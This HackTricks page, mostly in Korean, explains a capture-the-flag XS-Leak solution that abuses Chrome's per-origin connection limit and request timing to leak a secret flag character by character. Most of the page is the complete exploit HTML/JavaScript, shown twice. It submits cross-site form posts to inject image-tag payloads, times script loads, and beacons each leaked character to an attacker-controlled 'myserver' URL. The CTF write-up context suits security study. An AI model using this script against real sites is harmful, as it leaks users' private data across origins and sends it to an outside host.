Connection Pool by Destination Example

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

In this exploit, @terjanq는 다음 페이지에 언급된 문제에 대한 또 다른 해결책을 제안합니다:

이 익스플로잇이 어떻게 작동하는지 살펴보겠습니다:

공격자는 가능한 한 많은 <img 태그가 로드되는 **/js/purify.js**를 포함한 노트를 주입합니다 (원본을 차단하기 위해 6개 이상).
그런 다음, 공격자는 인덱스 1의 노트를 제거합니다.
그런 다음, 공격자는 [남아 있는 노트로 봇이 페이지에 접근하게 만들고] **victim.com/js/purify.js**에 요청을 보낼 것입니다. 이 요청은 시간을 측정합니다.
시간이 더 크면, 주입이 남아 있는 노트에 있었고, 시간이 더 낮으면, 플래그가 그곳에 있었습니다.

솔직히, 스크립트를 읽으면서 공격자가 봇이 페이지를 로드하여 img 태그를 트리거하게 만드는 부분을 놓쳤습니다. 코드에서 그런 것을 보지 못했습니다.

<html>
<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}

add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"

let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"

let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
</html>

HackTricks 지원하기

구독 계획 확인하기!
**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.

PreviousConnection Pool Examples NextCookie Bomb + Onerror XS Leak

Last updated 6 days ago

<html> <head> <script> const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx" let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() } remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank" let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } }; </script> </head> <body> </body> </html>